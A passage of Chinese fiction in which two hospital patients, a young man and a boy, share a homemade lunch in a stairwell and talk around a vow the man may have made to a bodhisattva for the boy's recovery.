“嗯,现在你也什么都会了。”江晏又笑。 纪天星不说话了。 江晏突然意识到自己失言,刚想说些什么把这个话岔开,就见纪天星忽然笑了一下:“我总要长大呀。” 那不是个孩子气的笑法,带着一点怅惘,又带着一点看破了什么的释然。他望向江晏,轻轻道:“往后我也不是小孩子啦。” “过了年你才十二……”江晏迟疑道:“说这些……” “反正就是这样吧,你知道我的意思。”纪天星嘟囔道:“对了,中午一起吃饭吧!”他重新活泼起来:“姥姥刚刚送饭过来啦!炖了山药鸡汤,蒸了枣馒头!”说着就要去拿饭盒。 江晏赶紧拦住了:“别在这儿吃吧。这一整个病房里都是肺病的……你刚好点,再病了可就麻烦了。” “就吃个饭应该没事吧……”纪天星声音小了一点:“医生都说我好了,只是在这边再观察两天。” “不差这一会儿了。”江晏安慰道:“我知道有个地方没人,还可以吃饭。” 他的点滴剩下的不多了。 纪天星于是乖巧点点头,抬头盯着药水瓶。还剩个底的时候,他跳起来跑出去,喊护士给江晏拔针。 护士姐姐给江晏拔针,收走了药瓶,带点笑意地挪揄他:“呀,今天怎么这么老实,乖乖等人来拔针,往常不是都自己拔了的么。” “躺久了压到胳膊,手有点僵,不敢自己乱动。”江晏微笑:“只好麻烦你啦。” 护士一笑而去。 纪天星看着江晏的手,小声道:“怎么比我的手上针眼还多呢……” “天天挨扎呀,没办法。”江晏跳下床,活动了一下,感觉自己身上很轻快:“走吧。” 他穿好衣服,拎起布兜子和报纸,拉着纪天星一起出门去了。 重症监护室和手术室那两层之间的楼梯间清净无人,而且有个非常宽的大的窗台,窗台下面是暖气。住院处考虑到病人身体虚弱,暖气向来给得很足。这里又接近医院的顶层,所以比下头的病房里还要暖和一些。 江晏把报纸铺在窗台上,拉着纪天星坐上去。何玉秋送来的午饭里,不光有山药鸡汤和红枣馒头,还有醋溜白菜和肉片炒木耳,都是清淡营养的菜。饭菜的分量特别大,一看就是给两个人吃的。 纪天星把鸡腿夹给江晏,自己也夹了一个:“姥姥都和我说了。” “说什么?”江晏咬了一口那个软烂脱骨道鸡腿,好吃。 “就是法事啊什么的。”纪天星道。 “那个啊……”江晏摇摇头:“病急乱投医嘛。”他咬了一大口馒头。 “嗯……”纪天星若有所思:“你是不是去求过菩萨什么?” 江晏噎住了。 “哎呀喝口汤顺一下!”纪天星赶紧舀了一大勺汤递到他嘴边。江晏直着脖子努力咽了好几下,终于把那口馒头咽下去了。他喘出两口气,低声道:“有事求神拜佛,不是挺正常的么。” 纪天星歪头看着他。 江晏避开了他的目光。 “你肯定许了很大的诺。”纪天星笃定道:“天底下每天都在死人,菩萨也不是谁都帮的。” 江晏的心跳得快起来。纪天星有时候敏锐得吓人,简直让他有些苦恼。 “可能我心诚吧。”他飞速平复好情绪,最终抬起头,狡黠而温柔地笑了一下。 “哼。”纪天星道:“不想说就算了。”他在汤里划拉,把鸡翅膀夹起来,放到了江晏的馒头上:“反正我都猜得到。” “你猜到什么了呀。”江晏脸上笑着,心里却有点忐忑。 “我也不告诉你。”纪天星骄傲地一扭头,啃他的枣馒头去了。